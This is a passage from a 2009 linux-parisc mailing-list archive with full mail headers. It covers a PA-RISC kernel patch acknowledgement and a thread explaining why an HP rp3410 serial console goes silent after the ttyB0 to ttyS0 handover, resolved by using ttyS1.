> 1 CPU and the "SMP: CPU:1 is stuck." message, this at 64bit.

FYI, it must be something old, the behavior is the same i reported here
http://lkml.org/lkml/2008/4/21/454 with 2.6.24.

> at 32bit and CONFIG_DEBUG_SPINLOCK unset (both gcc 4.3 & 4.4) i get
> the build error i reported in another thread. with CONFIG_DEBUG_SPINLOCK
> set kernel builds and runs nicely.

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 2/5] parisc: Convert BUG() to use unreachable()
Date: Thu, 10 Dec 2009 16:54:42 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20091210215442.GB28962@bombadil.infradead.org>
References: <4B212EEC.3060808@caviumnetworks.com> <1260466101-17545-2-git-send-email-ddaney@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260482116 6009 80.91.229.12 (10 Dec 2009 21:55:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Dec 2009 21:55:16 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	akpm@linux-foundation.org, torvalds@linux-foundation.org,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: David Daney <ddaney@caviumnetworks.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 22:55:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NIqyY-0000te-6d
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 22:55:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761834AbZLJVyj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Dec 2009 16:54:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761835AbZLJVyj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Dec 2009 16:54:39 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49794 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761831AbZLJVyi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Dec 2009 16:54:38 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NIqyA-0004OC-K8; Thu, 10 Dec 2009 21:54:42 +0000
Content-Disposition: inline
In-Reply-To: <1260466101-17545-2-git-send-email-ddaney@caviumnetworks.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2414 gmane.linux.kernel:925533 gmane.linux.kernel.cross-arch:4858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2414>

On Thu, Dec 10, 2009 at 09:28:18AM -0800, David Daney wrote:
> Use the new unreachable() macro instead of for(;;);
> 
> Signed-off-by: David Daney <ddaney@caviumnetworks.com>
> CC: Kyle McMartin <kyle@mcmartin.ca>
> CC: Helge Deller <deller@gmx.de>
> CC: linux-parisc@vger.kernel.org
> ---

Thanks David, I'll bash this into my tree now that the macro is
upstream.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Ludvig <mludvig@logix.net.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: console handover: boot [ttyB0] -> real [ttyS0]
Date: Sat, 12 Dec 2009 22:31:23 +1300
Lines: 45
Approved: news@gmane.org
Message-ID: <4B2362EB.2090409@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260612042 30423 80.91.229.12 (12 Dec 2009 10:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Dec 2009 10:00:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 12 11:00:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NJOm9-0002xL-8f
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Dec 2009 11:00:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761303AbZLLKAX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Dec 2009 05:00:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761307AbZLLKAX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 12 Dec 2009 05:00:23 -0500
Original-Received: from maxipes.logix.cz ([93.89.80.122]:53979 "EHLO maxipes.logix.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1761303AbZLLKAW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Dec 2009 05:00:22 -0500
X-Greylist: delayed 1714 seconds by postgrey-1.27 at vger.kernel.org; Sat, 12 Dec 2009 05:00:22 EST
Original-Received: from [192.168.159.134] (unknown [192.168.159.134])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by maxipes.logix.cz (Postfix) with ESMTP id 4A3685D40C6
	for <linux-parisc@vger.kernel.org>; Sat, 12 Dec 2009 22:27:03 +1300 (NZDT)
User-Agent: Thunderbird 2.0.0.23 (X11/20090817)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2415>

Hi,

it is the first time I'm trying to install Linux on HP9000 rp3410
machine. I'm booting off Debian 5.0.3 CD, PALO selects 64bit kernel,
later on the kernel detects ttyS0 but the console output stops at:

PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 74) is a 16550A
console handover: boot [ttyB0] -> real [ttyS0]
<that's it>

I tried to pass serial=ttyS0 to the kernel but then the output stops a
wee while later as well:

STI GSC/PCI core graphics driver Version 0.9a
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 74) is a 16550A
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 74) is a 16550A
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 74) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 74) is a 16550A
brd: module loaded
mice: PS/2 mouse device common for all mice
TCP cubic registered
NET: Registered protocol family 17
turn off boot console ttyB0
<that's it>

I'm connected over serial to MP and using COnsole from there.

What am I doing wrong / how to make it work?

Thanks!

Michal


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: console handover: boot [ttyB0] -> real [ttyS0]
Date: Sat, 12 Dec 2009 21:47:29 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <7d01f9f00912121247g376d54e9pb39d6023ddaaa878@mail.gmail.com>
References: <4B2362EB.2090409@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1260671569 24356 80.91.229.12 (13 Dec 2009 02:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Dec 2009 02:32:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Michal Ludvig <mludvig@logix.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 13 03:32:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NJeGH-0008WK-3F
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Dec 2009 03:32:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752524AbZLMCck (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Dec 2009 21:32:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752310AbZLMCck
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 12 Dec 2009 21:32:40 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:45767 "HELO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1752337AbZLMCcj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Dec 2009 21:32:39 -0500
Original-Received: by ewy19 with SMTP id 19so2313671ewy.21
        for <linux-parisc@vger.kernel.org>; Sat, 12 Dec 2009 18:32:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=EASOaVtLHVQ970r312vH9v2melXirNCJdrdfsv117IU=;
        b=FLS4JdivuShKRjnFtGNCxVBGdOU1QI3hHhfSFPpa66IUDd1MAXGggpWI2W2kRoDr3X
         oxOleWOyPnrtJVp0nPUZvQbnviLGFVp0V27Fjz7I9XsopNFc+bnbymwoYkF3x36+YvKV
         GRhco7cMi34GuflcSADKFaVfamdD5F2w1onvg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=o3Stl2/WjfWJQeqkDsBDYeO5ElL4S9QEK5E9Q/MMrwq/dr228gk73+oysRoHV0ZzIu
         UKYaAfe77wFY+bAeAV9+N1k2rC+BRjZUNaN+IO+WQinqlw1egEfsRlz1avZIlMZ6xB85
         phCiqeX7m4R9fgI5y1ZrU6GzrUyLgbrCtsQjE=
Original-Received: by 10.213.26.138 with SMTP id e10mr1239693ebc.67.1260650849662; Sat, 
	12 Dec 2009 12:47:29 -0800 (PST)
In-Reply-To: <4B2362EB.2090409@logix.net.nz>
X-Google-Sender-Auth: 8e15ec98d13b33c6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2416
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2416>

On Sat, Dec 12, 2009 at 10:31 AM, Michal Ludvig <mludvig@logix.net.nz> wrote:
> Hi,

Hi,

> I tried to pass serial=ttyS0 to the kernel but then the output stops a
> wee while later as well:

Try ttyS1

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Ludvig <mludvig@logix.net.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: console handover: boot [ttyB0] -> real [ttyS0]
Date: Tue, 15 Dec 2009 12:39:06 +1300
Lines: 25
Approved: news@gmane.org
Message-ID: <4B26CC9A.6040208@logix.net.nz>
References: <4B2362EB.2090409@logix.net.nz> <7d01f9f00912121247g376d54e9pb39d6023ddaaa878@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260833904 18772 80.91.229.12 (14 Dec 2009 23:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Dec 2009 23:38:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 00:38:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKKUa-00047Q-Ds
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 00:38:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753440AbZLNXiP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Dec 2009 18:38:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753446AbZLNXiP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 14 Dec 2009 18:38:15 -0500
Original-Received: from maxipes.logix.cz ([93.89.80.122]:41459 "EHLO maxipes.logix.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753440AbZLNXiO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Dec 2009 18:38:14 -0500
Original-Received: from [192.168.130.88] (203-97-206-95.dsl.telstraclear.net [203.97.206.95])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by maxipes.logix.cz (Postfix) with ESMTP id 86BE95D40BE;
	Tue, 15 Dec 2009 12:32:50 +1300 (NZDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091122 SUSE/3.0.0-9.1 Lightning/1.0b1pre Thunderbird/3.0
In-Reply-To: <7d01f9f00912121247g376d54e9pb39d6023ddaaa878@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2417
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2417>

On 12/13/2009 09:47 AM, Thibaut VARENE wrote:
> On Sat, Dec 12, 2009 at 10:31 AM, Michal Ludvig <mludvig@logix.net.nz> wrote:
>> I tried to pass serial=ttyS0 to the kernel but then the output stops a
>> wee while later as well:
> 
> Try ttyS1

That's it, thanks!

Now I'm a bit confused - where are all the serial ports? I've got
'remote', 'console' and 'ups' pigtails hanging off the back of the
server. Are they all usable as ttySx? Is there one more port hidden
somewhere?

Is it configurable which one of ttyS0 - ttyS3 turns the ttyB0 boot
console to?

Michal


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: console handover: boot [ttyB0] -> real [ttyS0]
Date: Tue, 15 Dec 2009 00:52:59 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <7d01f9f00912141552t244525fal6837e9039021912d@mail.gmail.com>
References: <4B2362EB.2090409@logix.net.nz>
	 <7d01f9f00912121247g376d54e9pb39d6023ddaaa878@mail.gmail.com>
	 <4B26CC9A.6040208@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1260834799 21232 80.91.229.12 (14 Dec 2009 23:53:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Dec 2009 23:53:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Michal Ludvig <mludvig@logix.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 00:53:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKKj0-00019o-KH
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 00:53:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754657AbZLNXxK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Dec 2009 18:53:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754660AbZLNXxJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 14 Dec 2009 18:53:09 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:63859 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754657AbZLNXxI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Dec 2009 18:53:08 -0500
Original-Received: by ewy19 with SMTP id 19so4004478ewy.21
        for <linux-parisc@vger.kernel.org>; Mon, 14 Dec 2009 15:53:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=q5t+oKiNg1Z5i3FP/kQpLiPoy1msDQuq8rayss2hxZ8=;
        b=EfqSKRNICGsICHS4gvO9DOQw8Xu4xsaH9G2KtGNkooPP4EHasSq6AMUlH1Col1U0uz
         fdsejhp26TVol8evFsBMZ596gP1j7AnmYKk6f7SozffTUKDEa29bxkrXJLso7o309qYb
         sS8qiwb2G/SqsJEJflGvIqxoX5eqAnBYE0rSY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=W2fEhrpKFLSIBz/8cEb7/DOXLY8rFPWwZkUOppirxyXkJu+k126RPd8H5nxKAgcXlt
         enZ2TG+GUSDI6FhzLEp8POmWb3UjiplQPSj1qExTlsLnZgm1JDVamMxaqZPo1x69K0tT
         ufyJxrlXGEDm9TuVjUUTrGGusEaywekXiXZWM=
Original-Received: by 10.213.72.207 with SMTP id n15mr6279627ebj.85.1260834779820; Mon, 
	14 Dec 2009 15:52:59 -0800 (PST)
In-Reply-To: <4B26CC9A.6040208@logix.net.nz>
X-Google-Sender-Auth: 80aec4d5e23f7a02
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2418
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2418>

On Tue, Dec 15, 2009 at 12:39 AM, Michal Ludvig <mludvig@logix.net.nz> wrote:
> On 12/13/2009 09:47 AM, Thibaut VARENE wrote:
>> On Sat, Dec 12, 2009 at 10:31 AM, Michal Ludvig <mludvig@logix.net.nz> wrote:
>>> I tried to pass serial=ttyS0 to the kernel but then the output stops a
>>> wee while later as well:
>>
>> Try ttyS1
>
> That's it, thanks!
>
> Now I'm a bit confused - where are all the serial ports? I've got
> 'remote', 'console' and 'ups' pigtails hanging off the back of the
> server. Are they all usable as ttySx? Is there one more port hidden
> somewhere?

This should answer your question:
http://wiki.parisc-linux.org/GuardianServiceProcessor

> Is it configurable which one of ttyS0 - ttyS3 turns the ttyB0 boot
> console to?

I'm not sure I can make sense of that question. At boot time you can
choose which physical port you want to hook your cable to (provided
it's a console port, see the above link) and it's then up to you to
make sure that you tell the kernel which UART you're connected to.

rp34xx machines' first ("default") console port is detected by the
linux kernel as ttyS1, this is due to inner workings of the kernel and
you have no control over that.


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: console handover: boot [ttyB0] -> real [ttyS0]
Date: Mon, 14 Dec 2009 22:52:47 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20091215055247.GC31805@lackof.org>
References: <4B2362EB.2090409@logix.net.nz> <7d01f9f00912121247g376d54e9pb39d6023ddaaa878@mail.gmail.com> <4B26CC9A.6040208@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260856433 2993 80.91.229.12 (15 Dec 2009 05:53:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 05:53:53 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Michal Ludvig <mludvig@logix.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 06:53:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKQL3-0005fw-L4
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 06:52:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752037AbZLOFwt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 00:52:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752109AbZLOFwt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 00:52:49 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:43108 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752037AbZLOFws (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 00:52:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 7D83D33E0008;
	Mon, 14 Dec 2009 22:52:47 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id f6vw2S4bO0Sd; Mon, 14 Dec 2009 22:52:47 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 39B8333E0065; Mon, 14 Dec 2009 22:52:47 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4B26CC9A.6040208@logix.net.nz>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2419>

On Tue, Dec 15, 2009 at 12:39:06PM +1300, Michal Ludvig wrote:
...
> Is it configurable which one of ttyS0 - ttyS3 turns the ttyB0 boot
> console to?

ttyB0 is the "PDC Console" device name - linux kernel is using PDC
to push characters to the device defined in PDC (aka BIOS) to be console.
Interrupt the autoboot process and look at "in all".

ttyS0-ttyS3 are enumerations of Serial devices that the linux kernel
discovers when respective drivers are loaded. ttyB0 and ttyS<n> are
just different drivers accessing the same HW - preferably not at the
same time and that's why the kernel stops using ttyB0 later.

That make more sense?

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Ludvig <mludvig@logix.net.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: console handover: boot [ttyB0] -> real [ttyS0]
Date: Tue, 15 Dec 2009 21:13:50 +1300
Lines: 25
Approved: news@gmane.org
Message-ID: <4B27453E.7050408@logix.net.nz>
References: <4B2362EB.2090409@logix.net.nz> <7d01f9f00912121247g376d54e9pb39d6023ddaaa878@mail.gmail.com> <4B26CC9A.6040208@logix.net.nz> <20091215055247.GC31805@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260864737 22812 80.91.229.12 (15 Dec 2009 08:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Dec 2009 08:12:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 15 09:12:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NKSVt-00016i-2d
	for glpp-linux-parisc@lo.gmane.org; Tue, 15 Dec 2009 09:12:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758052AbZLOIMI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Dec 2009 03:12:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752162AbZLOIMH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Dec 2009 03:12:07 -0500
Original-Received: from maxipes.logix.cz ([93.89.80.122]:58340 "EHLO maxipes.logix.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758052AbZLOIMF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Dec 2009 03:12:05 -0500
Original-Received: from [IPv6:2001:e20:2000:401:21a:73ff:fee5:5006] (unknown [IPv6:2001:e20:2000:401:21a:73ff:fee5:5006])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by maxipes.logix.cz (Postfix) with ESMTP id B0AD55D40BA;
	Tue, 15 Dec 2009 21:06:34 +1300 (NZDT)
User-Agent: Thunderbird 2.0.0.23 (X11/20090817)
In-Reply-To: <20091215055247.GC31805@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2420>

Grant Grundler wrote:
> On Tue, Dec 15, 2009 at 12:39:06PM +1300, Michal Ludvig wrote:
> ...
>> Is it configurable which one of ttyS0 - ttyS3 turns the ttyB0 boot
>> console to?
> 
> ttyB0 is the "PDC Console" device name - linux kernel is using PDC
> to push characters to the device defined in PDC (aka BIOS) to be console.
> Interrupt the autoboot process and look at "in all".
> 
> ttyS0-ttyS3 are enumerations of Serial devices that the linux kernel
> discovers when respective drivers are loaded. ttyB0 and ttyS<n> are
